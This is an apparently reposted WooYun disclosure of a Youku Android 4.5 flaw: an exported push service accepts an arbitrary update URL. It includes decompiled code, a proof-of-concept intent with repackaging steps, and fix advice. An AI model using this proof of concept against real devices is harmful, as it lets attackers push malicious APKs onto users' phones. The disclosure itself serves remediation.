优酷Android 4.5客户端升级漏洞
2015-12-12 11:56
169 查看
优酷Android 4.5客户端升级漏洞
MindMac @WooYun简要描述
优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!详细说明
组件com.youku.service.push.StartActivityService声明如下:<service android:label="Youku Push Notifications StartActivityService" android:name="com.youku.service.push.StartActivityService" android:exported="true" >可知该组件对外暴露。
该组件对应的代码执行部分如下:
protected void onHandleIntent(Intent intent) { Intent v0; String v23; Serializable pushMsg = intent.getSerializableExtra("PushMsg"); ...... AppVersionManager.getInstance(Youku.context).showAppAgreementDialog(); switch(pushMsg.type) { case 1: { goto label_53; } ...... } ...... label_53: intent.setFlags(876609536); intent.setClass(this, UpdateActivity.class); intent.putExtra("updateurl", pushMsg.updateurl); intent.putExtra("updateversion", pushMsg.updateversion); intent.putExtra("updatecontent", pushMsg.updatecontent); intent.putExtra("updateType", 2); this.startActivity(intent); return; ......该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。
漏洞证明
该漏洞触发的关键在于对PushMsg数据的控制,基本思路如下:1.创建一个Android App程序,在主Activity中的关键代码如下:
PushMsg pushMsg = new PushMsg(); pushMsg.type = 1; pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk"; pushMsg.updatecontent = "This is Fake"; Intent intent = new Intent(); intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService"); intent.putExtra("PushMsg", pushMsg); startService(intent);其中PushMsg类不需要完整实现,只需要编译通过即可;
2.反编译优酷客户端c中提取出PushMsg.smali;
3.反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
4.安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。
修复方案
组件不暴露、对升级地址进行判断、对下载的APK文件进行校验!相关文章推荐
- Android编程实现换肤功能实例
- Android之AlertDialog自定义对话框
- 彻底理解android中的内部存储与外部存储
- android中sharedPreferences的用法与json和数组的互转
- Android实现换肤的两种思路分析
- Android中Preference的使用以及监听事件分析
- [Android实例] BLE总结
- Android中的ListView初步接触(一)
- android解决相机拍照照片被旋转的问题
- MPAndroidChart 教程:概述
- 第三方开源Android TickPlusDrawable状态可以通过动画切换的按钮
- Android自定义属性以及组合View
- Android编程实现将应用强制安装到手机内存的方法
- 【Android高级】高斯模糊效果从319ms到3ms的优化实现
- Android Studio1.5 编译优化
- Android StatusBar
- Android打包时出现"Conversion to Dalvik format failed with error 1"
- Android仿String的对象驻留示例分析
- 读《50 Android Hacks》笔记整理Hack 41~Hack 43
- javah命令的问题 最常见的 错误: 找不到类android.app.Activity。